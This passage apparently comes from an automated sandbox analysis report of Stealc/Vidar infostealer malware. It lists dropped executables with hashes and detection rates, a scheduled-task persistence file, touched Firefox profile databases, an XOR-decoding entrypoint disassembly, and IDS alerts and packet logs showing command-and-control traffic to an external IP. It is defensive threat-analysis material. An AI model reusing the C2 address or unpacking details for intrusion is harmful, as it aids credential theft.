Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2465792
Entropy (8bit):	7.985880602998087
Encrypted:	false
SSDEEP:	49152:IK08+UO8Ajkw2s5uNuuiV/0H31F7AqxxJ/PgWAOEIm9B1:/V+UTwDl5eiGXPNxxJQxIm
MD5:	F7F2373C7005D9978782BE75BEF6A1C4
SHA1:	24523818E79C6CCC38C90DE912743552E98BE2BE
SHA-256:	BF5BA13DF7F7549E987F77091823FD0F77BA7FD4514000E60AD9A4C28F949C13
SHA-512:	26E4A9BA65207C91DD181C5010D051838D6172DCBFC165AA750CBE72297DDE0B0C0E54B024A6CBA070089F3AC5F943D67BA779EE64F78A8F37B425F274F607D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!..................@......................................@... .. .... .. .......... ...................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....p!......l!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2465792
Entropy (8bit):	7.985880602998087
Encrypted:	false
SSDEEP:	49152:IK08+UO8Ajkw2s5uNuuiV/0H31F7AqxxJ/PgWAOEIm9B1:/V+UTwDl5eiGXPNxxJQxIm
MD5:	F7F2373C7005D9978782BE75BEF6A1C4
SHA1:	24523818E79C6CCC38C90DE912743552E98BE2BE
SHA-256:	BF5BA13DF7F7549E987F77091823FD0F77BA7FD4514000E60AD9A4C28F949C13
SHA-512:	26E4A9BA65207C91DD181C5010D051838D6172DCBFC165AA750CBE72297DDE0B0C0E54B024A6CBA070089F3AC5F943D67BA779EE64F78A8F37B425F274F607D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!..................@......................................@... .. .... .. .......... ...................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....p!......l!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.95031601844607
Encrypted:	false
SSDEEP:	49152:LT8b0oNDof5bRS+NKKUQ4YCVpbX9Sid/HDloK/:/842Dk5dj0KJ4zVddZHp
MD5:	38D323D82872E7A58E7B7B05E88E055A
SHA1:	0054DCAAA63A2E93C9EA078D92CAEF63CEEF1017
SHA-256:	82EC956255F4878CF984C22B70FB2B2DDB02D9606B7049A9CFC42B5267A970FD
SHA-512:	970C2911C688255B22DCF2449521A3EA6F23F98652DFC628862534C1CE543D43889B0BC0A9EFE25B01D123F41F681002F2877C93FDF12C126BDAA8D88B1153D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...puezhyxb......1.....................@...rrssvbkz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.95031601844607
Encrypted:	false
SSDEEP:	49152:LT8b0oNDof5bRS+NKKUQ4YCVpbX9Sid/HDloK/:/842Dk5dj0KJ4zVddZHp
MD5:	38D323D82872E7A58E7B7B05E88E055A
SHA1:	0054DCAAA63A2E93C9EA078D92CAEF63CEEF1017
SHA-256:	82EC956255F4878CF984C22B70FB2B2DDB02D9606B7049A9CFC42B5267A970FD
SHA-512:	970C2911C688255B22DCF2449521A3EA6F23F98652DFC628862534C1CE543D43889B0BC0A9EFE25B01D123F41F681002F2877C93FDF12C126BDAA8D88B1153D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...puezhyxb......1.....................@...rrssvbkz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.374630713468008
Encrypted:	false
SSDEEP:	6:4ug9P1YRRKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0l10W1:4ugPYRRKQ13vg7jzvYRQV191
MD5:	FB8822A95D55CFB5A51D9A631B986134
SHA1:	06D53419ED3F925268ABD2417F07AD6F8972EEE1
SHA-256:	09DB74E7B2E07EAB9BA0DE4FEA36CCF622EBA047269D4DCED14110190494AB77
SHA-512:	37D060DCFFB5F0F40F77F05B037CC0CCFD3D2AD7E2FA7CAEBE2C78290CE4BDAEE5F49CE96F6A9AE689AB420E0461EF4AB9FAFF58595964C53C28BCEB47B3E642
Malicious:	false
Preview:	....T..o.>.H.....B7.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................;.............................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462948296256268
Encrypted:	false
SSDEEP:	6144:eIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:zXD94+WlLZMM6YFHg+n
MD5:	259B24349A1874D8777AB011DD0620CB
SHA1:	3E13D9F22FD573566D070A19E5B63ADDBE6E7033
SHA-256:	BA68C43EBD3F6A49D5CFB1469590E7C7A4FBBBE0BB9DDFDCBB6820FEAE93578D
SHA-512:	D21622EC3D2E433DC3AC01084E4C59DF212E1F1F37A85416350F0B1B2129256D9A3A6D224C1E03231C09B276B3ADBA3A877C331E8642A87A34E1DDC637AFBEE0
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.{.>.................................................................................................................................................................................................................................................................................................................................................,..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.985880602998087
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'465'792 bytes
MD5:	f7f2373c7005d9978782be75bef6a1c4
SHA1:	24523818e79c6ccc38c90de912743552e98be2be
SHA256:	bf5ba13df7f7549e987f77091823fd0f77ba7fd4514000e60ad9a4c28f949c13
SHA512:	26e4a9ba65207c91dd181c5010d051838d6172dcbfc165aa750cbe72297dde0b0c0e54b024a6cba070089f3ac5f943d67ba779ee64f78a8f37b425f274f607d8
SSDEEP:	49152:IK08+UO8Ajkw2s5uNuuiV/0H31F7AqxxJ/PgWAOEIm9B1:/V+UTwDl5eiGXPNxxJQxIm
TLSH:	F1B533C2D048634EEA306DB101F93B8F5BE5036A1137CB1ADEB572D9E9AB3578309719
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xfdd5e4
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x668341F6 [Mon Jul 1 23:55:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007FB168AFCC3Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BDD5E4h
jmp 00007FB168AFCC39h
jnl 00007FB168AFCC43h
in al, C0h
mov eax, 00BDD5E4h
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005B9h
mov edx, BFBFE953h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007FB168AFCC2Ch
jmp 00007FB168AFCC39h
and eax, D88A3A1Ch
sahf
fcomp st(0), st(2)
outsd
push ebx
push ebx
push ebx
rcl byte ptr [edx+535353ABh], cl
push eax
sahf
jmp 00007FB168AFCC89h
push ebx
push ebx
push ebx
jmp 00007FB1BC031FB0h
movsb
mov cl, 50h
wait
fcom st(0), st(2)
pop edi
push ebx
push ebx
push ebx
push eax
xchg eax, esi
add eax, dword ptr [ebx]
cmp esi, dword ptr [ebx-5Fh]
jnc 00007FB168AFCC85h
cmp edx, dword ptr [ecx+5253CFB0h]
jnle 00007FB168AFCCA9h
cmp edx, eax
lahf
mov eax, dword ptr [5356BBBDh]
push ebx
push ebx
mov edx, 53535363h
push es
fidivr word ptr [edi]
jnbe 00007FB168AFCC85h
fcom st(0), st(6)
pop ebx
push ebx
push ebx
push ebx
fadd st(0), st(6)
pop edi
push ebx
push ebx
push ebx
fcomp st(0), st(6)
inc ebx
push ebx
push ebx
push ebx
xchg eax, edx
mov edx, D0516251h
xchg eax, ecx
push edi
sbb bl, byte ptr [esi+edx*8-59h]
lodsb
lodsb
lodsb
fdivr dword ptr [edi+77h]
fidiv word ptr [edi]
jnbe 00007FB168AFCC89h
xchg eax, ecx
pop edi
push ebx
fcomp st(0), st(7)
jnbe 00007FB168AFCC89h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9cb020	0xdf7	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9cbe18	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9cb000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	b9b47e4ef9073cefd48a798869ece650	False	0.9996189024390244	data	7.994909511132675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	4080b8899dccfdfa0585f1fdd9b43703	False	0.9952392578125	data	7.981025840089605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	8bc04c430e7765139bebbaeb50cd86a7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	69124dd75c1c0ba9b1c09d22856f8cd4	False	0.9898681640625	data	7.954325659618312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x78c000	0x32800	87825b3512657589a9ba46558075eca4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9c8000	0x217000	0x216c00	40ce5943f11e416e9a0b1195c8c6e5f7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-23:58:55.946746	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49730	85.28.47.4	192.168.2.4
07/03/24-23:58:55.527977	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	85.28.47.4
07/03/24-23:58:54.774104	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	85.28.47.4
07/03/24-23:58:55.711541	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49730	85.28.47.4	192.168.2.4
07/03/24-23:58:55.712806	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 23:58:54.768718004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:54.773825884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:54.773942947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:54.774104118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:54.778960943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.522876978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.523142099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.527976990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.532794952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.711540937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.711585045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.711759090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.711759090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.712805986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.752239943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.752425909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.753110886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946746111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946787119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946840048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946875095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946908951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.946943998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:55.947004080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.947004080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.947004080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:55.947886944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:56.154361010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:56.159113884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.338053942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.338257074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:56.552788973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:56.552788973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:56.557797909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.557835102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.557887077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.557915926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.557964087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.557991982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:56.558042049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.380136967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.380202055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.630276918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.635318995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812082052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812099934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812154055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.812510967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812526941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812542915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812556982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812561035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.812572956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.812604904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.812632084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.813158989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.813174963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.813209057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.813220978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.813230991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.813236952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.813252926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.813261032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.813275099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.813294888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.814781904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.814796925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.814827919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.814845085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.894982100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.894998074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895011902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895026922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895066977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.895117044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.895306110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895320892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895344973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.895355940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.895386934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906207085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906259060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906265020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906280041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906306982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906341076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906341076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906357050 CEST	80	49730	85.28.47.4	192.168.2.4
